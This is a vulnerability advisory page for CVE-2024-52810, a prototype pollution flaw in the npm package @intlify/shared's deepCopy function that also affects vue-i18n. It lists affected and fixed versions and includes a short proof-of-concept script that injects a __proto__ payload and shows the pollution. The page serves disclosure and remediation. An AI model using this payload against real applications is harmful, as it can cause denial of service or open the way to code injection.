NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · npm

CVE-2024-52810: @intlify/shared Prototype Pollution vulnerability

mediumCVSS 4.0 6.9GHSA-hjwq-mjwj-4x6c

Vulnerability type: Prototype Pollution Affected Package: Product: @intlify/shared Version: 10.0.4 Vulnerability Location(s): nodemodules/@intlify/shared/dist/shared.cjs:232:26 Description: The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy.

Published Dec 2, 2024

Affected packages

@intlify/shared

Ecosystem
npm
Affected
>= 9.7.0, < 9.14.2
Fixed in
9.14.2
Check
npm ls @intlify/shared

@intlify/vue-i18n-core

Ecosystem
npm
Affected
>= 9.7.0, < 9.14.2
Fixed in
9.14.2
Check
npm ls @intlify/vue-i18n-core

vue-i18n

Ecosystem
npm
Affected
>= 9.7.0, < 9.14.2
Fixed in
9.14.2
Check
npm ls vue-i18n

petite-vue-i18n

Ecosystem
npm
Affected
>= 10.0.0, < 10.0.5
Fixed in
10.0.5
Check
npm ls petite-vue-i18n

@intlify/shared

Ecosystem
npm
Affected
>= 10.0.0, < 10.0.5
Fixed in
10.0.5
Check
npm ls @intlify/shared

@intlify/vue-i18n-core

Ecosystem
npm
Affected
>= 10.0.0, < 10.0.5
Fixed in
10.0.5
Check
npm ls @intlify/vue-i18n-core

vue-i18n

Ecosystem
npm
Affected
>= 10.0.0, < 10.0.5
Fixed in
10.0.5
Check
npm ls vue-i18n

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Vulnerability type: Prototype Pollution

Affected Package:

Product: @intlify/shared Version: 10.0.4

Vulnerability Location(s):

node_modules/@intlify/shared/dist/shared.cjs:232:26

Description:

The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

References

Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.

OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.

PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.

Credited to BobbieGoede.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More npm vulnerabilities

All npm entries